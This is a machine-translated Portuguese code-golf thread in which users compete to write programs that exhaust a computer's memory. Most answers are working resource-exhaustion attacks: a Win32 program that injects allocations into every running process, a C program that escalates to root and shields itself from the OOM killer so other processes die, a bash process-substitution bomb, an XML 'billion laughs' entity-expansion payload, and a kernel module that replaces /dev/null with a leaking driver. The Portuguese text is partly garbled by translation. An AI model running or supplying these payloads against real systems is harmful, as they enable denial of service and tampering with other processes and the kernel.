Crie um vazamento de memória, sem nenhum fork pump [fechado]


54

Sua tarefa é criar um vazamento de memória . Este é um programa que usa muita memória, até o computador acabar e precisar fazer algumas trocas para evitar que ele acabe. A única maneira de liberar a memória é matando o programa no gerenciador de tarefas ou usando uma interrupção na linha de comando, como taskkill /im yourprogram /f(no Windows), ou mesmo reiniciando o computador. Simplesmente fechar o aplicativo não deve impedir que ele continue consumindo memória.

Regras:

  1. Bombas de garfo de qualquer tipo são proibidas. Isso significa que a famosa linha Bash:(){ :|:&};: é banida!

  2. O aplicativo deve ser apenas de thread único. Isso implica a regra da bomba de forquilha.

  3. O programa não deve executar outros programas. Isso significa que você não pode simplesmente fazer algo assim run(memoryfiller.exe). A única exceção a isso são os programas fornecidos com o sistema operacional ou o idioma, que não foram projetados principalmente para consumir memória (ou seja, eles têm outro objetivo). Isso significa que coisas como cate ln -ssão permitidas.

  4. Você pode ocupar a quantidade de memória que desejar. Quanto mais melhor.

  5. O código deve ser explicado completamente.

Boa sorte. Este é um concurso de popularidade, portanto o código com mais votos após 10 dias a partir da data de vencimento vence!


8
"Fechá-lo ainda deve torná-lo monótono" - se um programa for um shell executável (como a maioria das versões do Windows de intérpretes de linguagem de script), fechar sua janela matará o programa.
Mniip

54
Isso não é justo while(1)malloc(999);?
Maçaneta

10
Não tenho certeza se "Fechar ainda deve tornar a memória de porco" é compatível com "O aplicativo deve ser apenas de thread único". Se nenhum segmento tiver um pedaço de memória, o sistema operacional poderá recuperá-lo, certo?
aebabis

51
Basta executar o firefox 26 com algumas abas abertas e em execução por meia hora. Isso deixará seu computador de joelhos.
Braden Best

11
@mniip. Esse é o objetivo do desafio. Fazer um desafio difícil. E maçaneta. Eu queria algo diferente! ;)
George

Respostas:


78

janelas

A API do Win32 permite alocar memória em outros processos e, em seguida, ler / gravar remotamente. Este programa possui apenas um encadeamento, usado para enumerar cada processo em execução no sistema e, em seguida, aloca repetidamente buffers de 1 MB em cada processo até que a alocação falhe. Quando termina com um processo, passa para o próximo. As alocações não são liberadas quando o programa de chamada termina - somente quando / se cada processo de destino terminar. Isso trava uma VM do Windows 7 de 2 GB em cerca de 10 segundos. Requer execução como administrador.

Compilar: cl /MD leak.cpp /link psapi.lib

#include <windows.h>
#include <psapi.h>

typedef void (*ProcFunc)(DWORD pid);
#define ALLOC_SIZE 0x100000
LPVOID buf;

void ForEachProcess(ProcFunc f)
{
    DWORD aProcesses[1024], cbNeeded;

    if (!EnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded))
        return;

    for (unsigned int i = 0; i < cbNeeded / sizeof(DWORD); i++)
        if (aProcesses[i] != 0)
            f(aProcesses[i]);
}

void RemoteLeak(DWORD pid)
{
    HANDLE hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, pid );
    if (hProcess == NULL)
        return;

    for (;;)
    {
        LPVOID ptr = VirtualAllocEx(hProcess, NULL, ALLOC_SIZE, 
                                    MEM_COMMIT, PAGE_READWRITE);
        if (ptr == NULL)
            return;

        WriteProcessMemory(hProcess, ptr, buf, ALLOC_SIZE, NULL);
    }
}

int main(void)
{
    buf = malloc(ALLOC_SIZE);
    if (buf == NULL)
        return 0;

    memset(buf, 0xFF, ALLOC_SIZE);

    ForEachProcess(RemoteLeak);

    return 0;
}

9
Windows é mau.
tomsmeding

4
Eu preciso desligar hoje à noite. Eu vou dar uma chance;)
George

11
"(Funcionando como um usuário normal, não usando privilégios de administrador" - não tenho certeza sobre isso, você precisa SeDebugPrivilege que por padrão não está presente em sinal de usuário regular
rkosegi

@rkosegi Obrigado, corrigido.
Andrew Medico 21/03

14
+1 Isso merece muitos votos positivos, pois até agora é a única resposta que atende ao fechamento original , ainda assim deve exigir muito da memória . Muito solução criativa :-)
Daniel

72

Java

import java.util.concurrent.atomic.AtomicInteger;

public class Hydra {
  // Not actually necessary for the leak - keeps track of how many Hydras there are, so we know when they're all gone
  public static AtomicInteger count = new AtomicInteger(0);
  public Hydra() {
    count.incrementAndGet();
  }
  protected void finalize() {
    new Hydra();
    new Hydra();
    count.decrementAndGet();
  }

  public static void main(String[] args) throws InterruptedException {
    new Hydra();
    while (Hydra.count.get() > 0) {
      // Prevent leaks ;-)
      System.gc();
      System.runFinalization();
    } 
  }
}

Explicação

Você pode supor que, como não há referências no código (exceto as countque você pode ignorar com segurança), ele não pode vazar. No entanto, o finalizador cria duas novas Hydras e, embora não tenha referências para elas, elas permanecerão até a finalização. Isso significa que o programa apenas vaza memória durante a coleta de lixo - daí as chamadas para System.gc()e System.runFinalization().


7
@TimS. Onde está o seu Deus agora?!?
Cruncher

São System.gc()e System.runFinalization()necessários? Ou seja, o gc é executado aleatoriamente às vezes, ou você precisa preencher alguma memória ou chamar gc?
Cruncher

4
Em um programa típico, System.gc()e System.runFinalization()não seria necessário. A coleta de lixo aconteceria naturalmente devido à pressão da memória. No entanto, nesta aplicação, não há pressão de memória até a coleta de lixo começar a ser executada. Pensei em introduzir artificialmente alguns (por exemplo, movendo-me new Hydra()dentro do loop), mas achei que isso era mais ruim.
21414 James_pic

11
Sim, eu não prestei muita atenção à ressalva de "Fechar ainda deve tornar a memória suja", pois ela não parecia significativa (exceto pelos hacks organizados do sistema operacional, como @ german_guy's). O Java sempre cria um encadeamento de finalização, portanto, talvez não haja como um aplicativo Java obedecer à regra # 2.
James_pic

11
Em sistemas Unix, você não pode bloquear o SIGKILL (sinal 9); portanto, não pode tornar seu programa imparável (bem, exceto se você conseguir colocá-lo em um estado de espera ininterrupta ... então talvez extinga remotamente um servidor NFS cujos arquivos você deseja acesso trabalho poder ;-))
celtschk

37

C

Utilizando a linguagem de programação C e testada com o kernel Linux 2.6.32-49-generic e libc-2.11.1.so.

A única maneira de liberar a memória é matando o programa no gerenciador de tarefas ou usando o taskkill / im yourprogram / f ou mesmo reiniciando o PC.

Isso é conseguido através do bloqueio de quaisquer sinais, exceto SIGKILL e SIGSTOP.

Fechá-lo ainda deve torná-lo memória de porco.

Isso realmente me confundiu ... Matar ou fechá-lo resulta na finalização do processo, permitindo que o sistema operacional reivindique de volta qualquer memória que foi alocada pelo processo. Mas então eu pensei que, fechando-o, você pode querer fechar o terminal ou qualquer outro processo pai que execute o processo de vazamento de memória. Se eu entendi direito, resolvi esse problema bloqueando quaisquer sinais, que transformam o processo em um daemon quando o processo pai é encerrado. Dessa forma, você pode fechar o terminal em que o processo está sendo executado e ele continuará sendo executado e continuará a vazar memória.

Bombas de garfo de qualquer tipo são proibidas. Isso significa que a infame festança: () {: |: &} ;: foi banida!

O processo não bifurca.

O aplicativo deve ser apenas de thread único. Isso implica a regra da bomba de forquilha

Nenhum novo encadeamento é gerado.

O programa não deve executar outro programa. Isso significa que você não pode fazer algo como executar (memoryfiller.exe)

Nenhum novo processo é gerado.

Você pode ocupar a quantidade de memória que desejar. Quanto mais melhor.

Tanto quanto o sistema operacional pode fornecer.

O código deve ser explicado completamente.

Comentários adicionados à fonte.

E finalmente, aqui está o código:

#define _GNU_SOURCE

#include <stdio.h>
#include <signal.h>
#include <sys/resource.h>
#include <unistd.h>
#include <stdlib.h>


int main(int argc, char* argv[]) {

    /*
    set the real, effective and set user id to root,
    so that the process can adjust possible limits.
    if the process doesn't have the CAP_SETUID capability, terminate the process.
    */
    if (setresuid(0, 0, 0) == -1) {
        printf("Are you root?!\n");
        return 1;
    }

    /*
    block all signals except for kill and stop.
    this allows to terminate the parent process (most likely a terminal)
    that this process is running in and turn it into a daemon.
    additionally this makes it impossible to terminate the process
    in a normal way and therefore satisfies the requirement that closing
    it should still make it hog memory.
    */
    sigset_t mask;
    sigfillset(&mask);
    sigprocmask(SIG_SETMASK, &mask, NULL);

    /*
    allow the process to acquire a virtually unlimited amount of memory
    and queue a virtually unlimited amount of signals.
    this is to prevent an out of memory error due to a virtual limit for the root user,
    which would prevent the process from leaking any more memory
    and to prevent the process from getting killed due to too many queued
    signals that the process is blocking.
    */
    struct rlimit memory = { RLIM_INFINITY, RLIM_INFINITY },
                  signal = { RLIM_INFINITY, RLIM_INFINITY};
    setrlimit(RLIMIT_AS, &memory);
    setrlimit(RLIMIT_SIGPENDING, &signal);

    /*
    allocate a buffer big enough to store a file name into it
    that is generated from the process' pid.
    if the file can be opened (which should always be the case unless /proc is not mounted)
    the file will be opened and the string -17 followed by a new line written to it.
    this will cause the oom killer to ignore our process and only kill other,
    innocent processes when running out of memory.
    */
    char file_name[20];
    sprintf(file_name, "/proc/%u/oom_adj", getpid());

    FILE* oom_killer_file = fopen(file_name, "w");
    if (oom_killer_file) {
        fprintf(oom_killer_file, "-17\n");
        fclose(oom_killer_file);
    }

    /*
    get the size of virtual memory pages in bytes,
    so the process knows the size of chunks that have to be
    made dirty to force the kernel to map the virtual memory page into RAM.
    */
    long page_size = sysconf(_SC_PAGESIZE);

    // allocate a virtually infinite amount of memory by chunks of a page size.
    while(1) {
        // will overwrite any previous stored address in tmp, leaking that memory.
        char* tmp = (char*) malloc(page_size);
        if (tmp)
            // make the memory page dirty to force the kernel to map it into RAM.
            tmp[0] = 0;
    }

    return 0;
}

Para quem está interessado no que acontece se você mantiver este programa em execução: No meu sistema de teste com 2 GB de RAM e 4 GB de espaço de troca, foram necessários 10 minutos para preencher a RAM e trocar. O assassino da OOM iniciou seu trabalho e, três minutos depois, todos os processos foram mortos. Até mouse, teclado e tela foram descartados pelo sistema. /var/log/kern.log não mostra informações úteis, exceto os processos que foram eliminados.


Eu editei a fonte para fazer com que o assassino oom ignore o processo e mate processos inocentes para liberar memória.
foobar

5
Para quem está interessado no que acontece se você mantiver este programa em execução: No meu sistema de teste com 2 GB de RAM e 4 GB de espaço de troca, foram necessários 10 minutos para preencher a RAM e trocar. O assassino da OOM iniciou seu trabalho e, três minutos depois, todos os processos foram mortos. Até mouse, teclado e tela foram descartados pelo sistema. /var/log/kern.log não mostra informações úteis, exceto os processos que foram eliminados.
foobar

Haha, isso é maravilhoso! Você deve editar essa descrição em sua resposta. +1
Maçaneta da porta

11
Eu não diminuí a votação, mas seria bom se o código pudesse ser formatado para que nenhuma rolagem horizontal seja necessária para ler os comentários.
Paŭlo Ebermann 24/03

2
+1 para 1) fazendo com que processos que entregam dispositivos de entrada / saída sejam mortos e 2) criando um programa difícil de rastrear a partir dos logs. São os níveis de maldade que envolvem o bigode.
Kevin - Restabelece Monica

29

Pure Bash

Não é uma bomba, garanto:

:(){ : $@$@;};: :

Parece muito com uma bomba de garfo e usa uma técnica recursiva semelhante, mas sem garfos. É claro que isso executará seu shell sem memória, portanto, é aconselhável iniciar um novo shell antes de colar este comando.

  • Defina uma função chamada :
  • A função simplesmente se chama recursivamente com $@(lista de argumentos) duplicada
  • Após a definição da função, a :função é chamada com um argumento inicial:

Resultado:

$ bash
$ :(){ : $1$1;};: :
bash: xmalloc: ../bash/stringlib.c:135: cannot allocate 536870913 bytes (5368795136 bytes allocated)
$

Em uma edição anterior desta resposta, eu fiz a=$(yes), mas notei a regra "O programa não deve executar outro programa", então, em vez disso, preciso usar pure bashsem chamar nenhum coreutils ou qualquer outra coisa.


Aqui está mais um:

POR FAVOR, NÃO O EXECTE EM UMA MÁQUINA DE PRODUÇÃO

:(){ : <(:);};:

Novamente, isso não é uma bomba de forquilha - tudo é executado dentro de um segmento. Este parece facilmente trazer minha VM do Ubuntu de joelhos, com pouco espaço para recuperação, além da reinicialização.

Como na bomba de forquilha clássica, uma função recursiva :()é definida. No entanto, ele não realiza chamadas para si mesmo. Em vez disso, ele se chama com um argumento, que é chamado em uma substituição de processo . Como a substituição de processo funciona abrindo um descritor de arquivo /dev/fd/n, isso não apenas consome memória de processo (bash), mas também consome alguma memória do kernel. Na minha máquina Ubuntu, isso tem o efeito de tornar o gerenciador de janelas inoperante após alguns segundos, e logo após terminar com esta tela:

insira a descrição da imagem aqui

Clicar em OKseguida exibe esta tela:

insira a descrição da imagem aqui

Nenhuma dessas opções parece ser de muita ajuda - nesse momento, reiniciar parece ser a única boa opção.


3
$ which yes->/usr/bin/yes
Izkata

2
"A única maneira pela qual a memória pode ser liberada é matando o programa no gerenciador de tarefas ou usando o taskkill / im yourprogram / f ou mesmo reiniciando o PC. >> O bash pode ser finalizado usando um SIGTERM, portanto, não é necessário matá-lo para fazê-lo parar de funcionar. Também pára de funcionar quando o sistema fica sem memória. Depois que o bash é finalizado, pelo SIGTERM ou pela falta de memória, a memória é devolvida ao sistema operacional.
foobar

Isso não funciona para mim ... mais ou menos ... Consigo ver a memória gradualmente desaparecendo, mas isso acontece muito lentamente, e também pode ser eliminado pressionando-se ctrl + c. Está funcionando agora por 1 minuto e ocupa cerca de 1 GB. Eu tenho uma máquina MUITO rápida ... mas isso não deveria importar, certo?
Stefanos Kalantzis

Respondendo ao meu próprio comentário: O comando realmente matou o bash após cerca de 2 minutos e 49 segundos. Originalmente, assumi que seria instantâneo com base nesta resposta.
Stefanos Kalantzis

@StefanosKalantzis Obrigado por seus comentários. Isso me fez pensar um pouco mais e acabei de encontrar um trecho ainda mais maligno do shell - veja editar.
Digital Trauma

24

XML

<!DOCTYPE boom [
<!ENTITY Z 'ka-boom!'><!ENTITY Y '&Z;&Z;'><!ENTITY X '&Y;&Y;'><!ENTITY W '&X;&X;'>
<!ENTITY V '&W;&W;'><!ENTITY U '&V;&V;'><!ENTITY T '&U;&U;'><!ENTITY S '&T;&T;'>
<!ENTITY R '&S;&S;'><!ENTITY Q '&R;&R;'><!ENTITY P '&Q;&Q;'><!ENTITY O '&P;&P;'>
<!ENTITY N '&O;&O;'><!ENTITY M '&N;&N;'><!ENTITY L '&M;&M;'><!ENTITY K '&L;&L;'>
<!ENTITY J '&K;&K;'><!ENTITY I '&J;&J;'><!ENTITY H '&I;&I;'><!ENTITY G '&H;&H;'>
<!ENTITY F '&G;&G;'><!ENTITY E '&F;&F;'><!ENTITY D '&E;&E;'><!ENTITY C '&D;&D;'>
<!ENTITY B '&C;&C;'><!ENTITY A '&B;&B;'><!ENTITY z '&A;&A;'><!ENTITY y '&z;&z;'>
<!ENTITY x '&y;&y;'><!ENTITY w '&x;&x;'><!ENTITY v '&w;&w;'><!ENTITY u '&v;&v;'>
<!ENTITY t '&u;&u;'><!ENTITY s '&t;&t;'><!ENTITY r '&s;&s;'><!ENTITY q '&r;&r;'>
<!ENTITY p '&q;&q;'><!ENTITY o '&p;&p;'><!ENTITY n '&o;&o;'><!ENTITY m '&n;&n;'>
<!ENTITY l '&m;&m;'><!ENTITY k '&l;&l;'><!ENTITY j '&k;&k;'><!ENTITY i '&j;&j;'>
<!ENTITY h '&i;&i;'><!ENTITY g '&h;&h;'><!ENTITY f '&g;&g;'><!ENTITY e '&f;&f;'>
<!ENTITY d '&e;&e;'><!ENTITY c '&d;&d;'><!ENTITY b '&c;&c;'><!ENTITY a '&b;&b;'>
]>
<boom a="&a;"/>

Em seguida, passe o documento para um analisador XML que não realiza a detecção de loop / recursão de referência de entidade. Por exemplo, xpathincluído no perl:

xpath boom.xml /

Como funciona:

  1. O analisador encontra <boom a="&a;">
  2. O analisador se expande "&a;"para"&b;&b;"
  3. O analisador expande um dos "&b;"para "&c;&c;"(no retorno, ele expande o outro "&b;")
  4. O analisador expande um dos "&c;"etc ...

Se a expansão total pudesse ocorrer, haveria 2 ^ 52 de expansão "ka-boom!". Assumindo 2 bytes por caractere, ele tentará usar 64 PiB. A expansão vai "ka-boom!" de cada vez, para que você possa vê-lo consumir toda a memória no topo.

Isso ocorre por vários nomes, uma boa visão geral aqui: http://projects.webappsec.org/w/page/13247002/XML%20Entity%20Expansion


3
Essencialmente, uma cópia de Billion risos
Cole Johnson

@ColeJohnson Yup é isso! Contribui para o projeto de classificação de ameaças da WASC, por isso me senti obrigado a apontar para a WASC em vez da Wikipedia. :)
ɲeuroburɳ

22

C ++

int main()
{
    for(;;)int *a=new int;
}

Este código foi inesperado! Ele desligou meu computador enquanto o gerenciador de tarefas estava aberto e mostrou que ele consumia 890 Mb de memória em 1 segundo e também travou. Se a resposta ajudou de alguma forma, por favor, marque como resposta, caso a sua dúvida delete a;não tenha sido solucionada, por favor, poste novamente. fornecido (devido a new int) e depois recuperado (devido a delete a) ao espaço livre no novo código abaixo.

int main()
{
    for(;;)
    {
         int *a=new int;
         delete a;
    }
}  

Então, concluo que NENHUMA RAM NESTE MUNDO PODE TRABALHAR ESTE CÓDIGO !!!

EDIT : Mas muitos processadores podem, por exemplo, intel core 2 duonão podem lidar com este código, mas
intel core i-seriespodem (funcionou para mim ...)

Lembre-se de que a resposta para a pergunta é o 1º código, o segundo é para explicação.


9
Bom, o compilador acha que você ainda new intusará o ponteiro, mesmo que você substitua o ponteiro, para que nunca possa acessá-lo novamente ... Portanto, nenhuma coleta de lixo é chamada e você preenche a memória mais rapidamente do que um garoto gordo come skittles
David Wilkins

37
@ DavidWilkins: ... este é C ++, C ++ não tem coletor de lixo.
Phoshi 19/03/14

32
Se for inesperado para você que esse código vaze, acho que você não deve usar C ++ até aprender melhor.
Sv16 /

11
@ Rick Mas não é como bater no dardo no escuro! Eu tinha alguma idéia de que isso fará a pergunta do trabalho.
precisa

15
@svick Como diabos ele deveria 'aprender melhor' se ele 'não deveria usar C ++'?
22414 Kevin

16

BrainFuck

+[>+]

Explicação:

Para entrar no loop, aumenta a célula para 1. Move-se para a próxima célula, aumentando para 1, desde que a última célula tenha sido positiva.

Geralmente, um intérprete do BrainFuck possui um limite rígido para o número de células na fita, mas alguns intérpretes adicionam células dinamicamente. Eles continuarão consumindo memória até que não haja mais consumo.

beefé um desses intérpretes e está disponível no Ubuntu Software Center e minha execução atual em uma máquina não utilizada começou há 29 horas e consumiu 1 GB de RAM nesse período. Aqui está a saída detop

PID  USER        PR  NI  VIRT  RES  SHR S  %CPU %MEM    TIME+  COMMAND  
2978 sylwester   20   0 1030m 984m 2536 R 100,1 12,4   1750:52 beef

Ele tem 4 GB de cache e 6 GB de swap, então acho que vou atualizar esta resposta com a forma como ela foi realizada em cerca de 12 dias.

ATUALIZAÇÃO 03.24 17:11

PID  USER        PR  NI  VIRT  RES  SHR S  %CPU %MEM    TIME+  COMMAND  
2978 sylwester   20   0 1868m 1,8g 2456 R  99,9 22,9   6008:18 beef    

ATUALIZAÇÃO 03.31 00:20

PID  USER        PR  NI  VIRT  RES  SHR S  %CPU %MEM    TIME+  COMMAND  
2978 sylwester   20   0 2924m 2,8g 2052 R 100,0 36,1  15019:46 beef   

Então, está em funcionamento há 10 dias. Parece que estará rodando por pelo menos mais 10 antes que algo interessante aconteça.


Bom e curto.
Nrubin29 21/03

15

C e POSIX

Aqui, estou buscando uma solução altamente portátil. O problema é que C puro não parece ter uma maneira de informar ao sistema operacional que a memória deve permanecer alocada após o encerramento do programa. Então, eu me permito usar o POSIX; a maioria dos sistemas operacionais tem alguma reivindicação de compatibilidade com POSIX, incluindo Windows, Linux e MacOS X. No entanto, só o testei no Ubuntu 12.04 32bit. Não requer permissões de superusuário.

Esta solução é essencialmente a while(1){malloc(1);}solução tradicional . No entanto, em vez de malloc, ele usa as funções de memória compartilhada POSIX. Como ele atribui um identificador de memória compartilhada a cada alocação, ainda é possível acessar a memória assim que o processo terminar. Portanto, o kernel não pode liberar a memória.

#include <sys/types.h>
#include <sys/shm.h>
#include <string.h>

#define SHMSZ (2*1024*1024) /*Ubuntu rejects shared allocations larger than about 2MiB*/

main() {
  int shmid;
  key_t key = 0xF111; /* Lets use `Fill' as our first ID.*/
  char *shm;

  while(1) { /* Like malloc, but using shared memory */
    if ((shmid = shmget(key, SHMSZ, IPC_CREAT|0666)) < 0){return 1;}/*Get shared memory*/
    if ((shm = shmat(shmid, NULL, 0)) == (void *) -1) { return 1; } /*Attach it        */
    memset(shm,0,SHMSZ);                                            /*Fill it up       */
    key++                                                           /*On to the next ID*/
  }
}

A melhor e mais brilhante resposta C da IMO. 1
syb0rg 23/03

11
Agradável. A primeira solução que encontrei foi a de Andrew Medico, mas como isso não é possível no Linux e como não gosto da programação do Windows, eu queria passar pela memória compartilhada, mas não conseguia lembrar os nomes das funções do POSIX. Obrigado por lembrar-me deles;) Tudo o que eu encontrei foi único material mmap que não esteja mapeado sobre o encerramento do processo ...
foobar

14

C #

Esquecer de cancelar a inscrição de eventos antes que o manipulador fique fora do escopo fará com que o .NET perca memória até lançar OutOfMemoryException.

using System;

class A
{
    public event Action Event;
}

class B
{
    public void Handler() { }
}

class Program
{
    static void Main()
    {
        A a = new A();

        while( true )
            a.Event += new B().Handler;
    }
}

Explicação : Dentro do whileloop, construímos um novo objeto, fazendo com que a estrutura aloque mais memória, mas também impedimos que a nova instância Bseja liberada quando ela sai do escopo, atribuindo um método de instância a um evento em uma classe diferente, o resultado é que a nova instância Bse torna inacessível a partir do nosso código, mas ainda existe uma referência, o que significa que o GC não a liberará até que atambém saia do escopo.

Eventos estáticos têm a mesma armadilha, uma vez que nunca saem do escopo, eles são limpos apenas quando o processo termina, a menos que você cancele a inscrição do evento primeiro. Guarde sempre suas referências, pessoal!

using System;

class Program
{
    static event Action Event;

    static void Main()
    {
        while( true )
            Event += new Action( delegate{ } );
    }
}

O procedimento acima funciona com a mesma idéia: o manipulador se torna inacessível quando o whileloop fica fora do escopo, impossibilitando o cancelamento da inscrição no evento, o que significa que a memória ficará lá até o término do programa. Eventos estáticos são sem dúvida mais perigosos que eventos de instância, porque você pode garantir que eles nunca saiam do escopo.

EDIT : Você também pode fazer o mesmo com basicamente qualquer outro objeto, desde que você adicione uma referência e, ao mesmo tempo, garanta que não há como liberar essa referência.

Aqui está um exemplo que usa objetos e matrizes estáticos.

using System;
using System.Collections.Generic;

static class Leak
{
    private static List<decimal[]> Junk;

    static Leak()
    {
        Junk = new List<decimal[]>();
    }

    public static void Add( uint size )
    {
        decimal[] arr = new decimal[size];
        Junk.Add( arr );
    }
}

class Program
{
    static void Main()
    {
        while( true )
            Leak.Add( 1 );
    }
}

As matrizes continuam sendo adicionadas à lista, mas não há como limpar a lista sem modificar o código, o que seria impossível para aplicativos de código fechado. Aumentar o número passado para Leak.Addfará com que ele vaze mais rapidamente; se você o definir alto o suficiente, resultará no lançamento imediato de uma OverflowException.


10

bash (sem utilitários externos)

Nenhuma bomba de garfo aqui.

Aviso: Pode matar o seu shell.

Apenas tentando criar uma matriz de números inteiros para referência, porque continuo esquecendo como os números inteiros se parecem.

while :; do _+=( $((++__)) ); done

Resulta em:

xmalloc: expr.c:264: cannot allocate 88 bytes (268384240 bytes allocated)

2
+1 para "porque eu continuo esquecendo como inteiros olhar como" :)
David Conrad

8

J (7)

AVISO: Isso congelou meu sistema quando o tentei (Windows 8, J 8.01, no terminal qt).

2#^:_[_
  • 2# dobra o comprimento do argumento duplicando cada elemento,
  • ^:_ encontra o ponto de correção da função fornecida (mas não existe um, ele faz um loop infinito),
  • [_chama isso _como argumento.

8

Haskell (número de Graham)

É muito simples: calcula o número de Graham

Ao contrário de outros exemplos aqui, ele não será executado para sempre ... ele usará muita CPU, mas teoricamente poderia ser encerrado. se não fosse pelo fato de armazenar o número ...

o universo observável é muito pequeno para conter uma representação digital comum do número de Graham, assumindo que cada dígito ocupa um volume de Planck .

(de acordo com a wikipedia)

import Data.Sequence
import Data.Foldable

(↑) a 1 b = a ^ b
(↑) a _ 0 = 1
(↑) a i b = a ↑ (i-1) $ a ↑ i $ b-1

graham = last $ toList $ iterateN 64 (\i -> 3 ↑ i $ 3) 4
main = print graham

Portanto, a idéia é que a memória seja usada por uma (série de cada vez mais) enormes Integer(os Inteiros de Haskell são de tamanho arbitrário).

Se você quiser testá-lo, pode ser necessário aumentar o tamanho da pilha ou carregá-lo dentro ghci.


2
Universo estúpido, não conforme com o padrão Haskell para Inteiros. Por que ele não suporta tamanho arbitrário?
PyRulez

6

Inspirado por @comintern.

Substituindo / dev / null. Envolvendo o modo sorrateiro. Requer cabeçalhos de kernel, modo superusuário e um compilador funcional.

# make
# rm /dev/null
# insmod devnull.ko
# chmod go+rw /dev/null

Diverta-se.

Makefile:

MODULE := devnull
KVERS  ?= $(shell uname -r)
KDIR   ?= /lib/modules/$(KVERS)/build
KMAKE := make -C $(KDIR) M=$(PWD)

obj-m += $(MODULE).o

all:
    $(KMAKE) modules

install:
    $(KMAKE) modules_install

clean:
    $(KMAKE) clean

Código fonte:

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/ioport.h>
#include <linux/device.h>
#include <linux/version.h>
#include <linux/slab.h>
#include <asm/io.h>
#include <asm/uaccess.h>

#define DEVICE_NAME "null"
#define MAJOR_NUMBER 0

MODULE_LICENSE("GPL");
MODULE_AUTHOR("nola <florian@n0la.org>");
MODULE_DESCRIPTION("/dev/null - memory leak style");
MODULE_VERSION("0.1");
MODULE_SUPPORTED_DEVICE("null");

static struct class *class_null;
static int major = 0;

static int device_open(struct inode *, struct file *);
static int device_release(struct inode *, struct file *);
static ssize_t device_read(struct file *, char *, size_t, loff_t *);
static ssize_t device_write(struct file *, const char *, size_t, loff_t *);
static loff_t device_llseek(struct file *, loff_t, int);

static struct file_operations fops = {
    .owner = THIS_MODULE,
    .llseek = &device_llseek,
    .read = &device_read,
    .write = &device_write,
    .open = &device_open,
    .release = &device_release
};

static int __init mod_init(void)
{
    struct device *dev_null;

    if ((major = register_chrdev(MAJOR_NUMBER, DEVICE_NAME, &fops)) < 0) {
        return major;
    }

    /* create /dev/null
     * We use udev to make the file.
     */
    class_null = class_create(THIS_MODULE, DEVICE_NAME);
    if (IS_ERR(class_null)) {
        unregister_chrdev(major, DEVICE_NAME);
        return -EIO;
    }

#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 27)
    dev_null = device_create(class_null, NULL, MKDEV(major, 0),
                             NULL, "%s", DEVICE_NAME
        );
#else
    dev_null = device_create(class_null, NULL, MKDEV(major, 0),
                             "%s", DEVICE_NAME
        );
#endif
    if (IS_ERR(dev_null)) {
        class_destroy(class_null);
        unregister_chrdev(major, DEVICE_NAME);
        return -EIO;
    }

    return 0;
}

static void __exit mod_exit(void)
{
    device_destroy(class_null, MKDEV(major, 0));
    class_unregister(class_null);
    class_destroy(class_null);
    unregister_chrdev(major, DEVICE_NAME);
}

static int device_open(struct inode *inode, struct file *file)
{
    file->f_pos = 0x00;

    try_module_get(THIS_MODULE);
    return 0;
}

static int device_release(struct inode *inode, struct file *file)
{
    /* decrement usage count: Not. Uncomment the line for less fun. */
    /* module_put(THIS_MODULE); */
    return 0;
}

static loff_t device_llseek(struct file *filep, loff_t offs, int mode)
{
    loff_t newpos;

    switch (mode) {
    case 2:
    case 0:
        newpos = offs;
        break;

    case 1:
        newpos = filep->f_pos + offs;
        break;

    default:
        return -EINVAL;
    }

    if (newpos < 0) {
        return -EINVAL;
    }

    filep->f_pos = newpos;

    return newpos;
}

static ssize_t device_read(struct file *filep, char *dst, size_t len,
                           loff_t *off)
{
    char *buf = NULL;

    if (dst == NULL || len == 0) {
        return -EINVAL;
    }

    buf = kmalloc(sizeof(char) * len, GFP_KERNEL);
    if (buf == NULL) {
        return -EINVAL;
    }

    /* Do how a /dev/null does.
     */
    memset(dst, 0, len);

    *off += len;
    return len;
}

static ssize_t device_write(struct file *filep, const char *src, size_t len,
                            loff_t *off)
{
    char *buf = NULL;

    buf = kmalloc(sizeof(char) * len, GFP_KERNEL);
    if (buf == NULL) {
        return -EINVAL;
    }

    *off += len;
    return len;
}

module_init(mod_init);
module_exit(mod_exit);

Aviso: isso pode forçá-lo a reiniciar!

Para removê-lo:

# rmmod -f devnull # or a reboot
# rm -rf /dev/null
# mknod /dev/null c 1 3
# chmod go+rw /dev/null

6

Rubi

Todo mundo sabe que a soma (1 / n ^ 2) = pi ^ 2/6

Então, eu posso definir uma função de aproximação:

pi_approx = lambda {|i|
Math.sqrt( 
  6*( 
    (1...Float::INFINITY).map{|n| n.to_f**(-2)}.take(i).reduce(:+)
    )
  )
}

p pi_approx.(100_000)

É claro que o (1..infinity) será executado livremente.

Observe, no entanto, que o uso de preguiçoso faria esse trabalho;)

pi_approx = lambda {|i|
Math.sqrt( 
  6*( 
    (1...Float::INFINITY).lazy.map{|n| n.to_f**(-2)}.take(i).reduce(:+)
    )
  )
}

p pi_approx.(100_000)
#=> 3.141583104326456

5

C - 28 25 caracteres (programa completo)

Não execute esse, ou seu sistema ficará congelado rapidamente!

main(){while(malloc(9));}

A chamada para o malloc reservará 9 bytes de memória e solicitará novas páginas de memória do sistema operacional regularmente. A memória alocada pelo malloc é vazada imediatamente, pois nenhum ponteiro para o endereço retornado é armazenado. Quando o sistema ficar sem memória (RAM e espaço de troca) ou atingir o limite de memória para o processo, o programa interromperá o ciclo while e será encerrado.


2
Não por muito tempo - qualquer sistema razoavelmente moderno deve ter um assassino de OOM que inicie e mate o processo. Pelo menos o Ubuntu 12.04 faz.
Digital Trauma

11
Bem, eu bati meu Ubuntu 13.10, enquanto tenta este código ...
Mathieu Rodic

@DigitalTrauma Por exemplo, o FreeBSD tem um OOMK?
Ruslan

11
main(){while(malloc(9));}salva outros 3 caracteres e preenche minha memória instantaneamente.
gmatht

@ gmatht: obrigado pela sugestão! Editei a resposta ... embora gostasse da ideia de aumentar o tamanho do bloco em cada loop.
Mathieu Rodic

4

VBScript

do
    Set d1 = createobject("Scripting.Dictionary")
    d1.add true, d1
    Set d1 = Nothing
loop

Estamos criando um dicionário que aponta para si mesmo. Então pensamos que destruímos o dicionário, definindo-o como Nothing. No entanto, o dicionário ainda existe na memória porque possui uma referência (circular) válida.

O loop, mas também o problema da memória, faz com que o programa seja interrompido. Após o desligamento do programa, a memória ainda está em uso. O sistema só pode ser restaurado reiniciando-o.


Sério? O VBScript não usa apenas o VB.NET sob o capô? As referências circulares normalmente não são problemas para coletores de lixo, exceto para implementações simples de contagem de referências, e o término do programa deve resultar na liberação de todo o heap, não é?
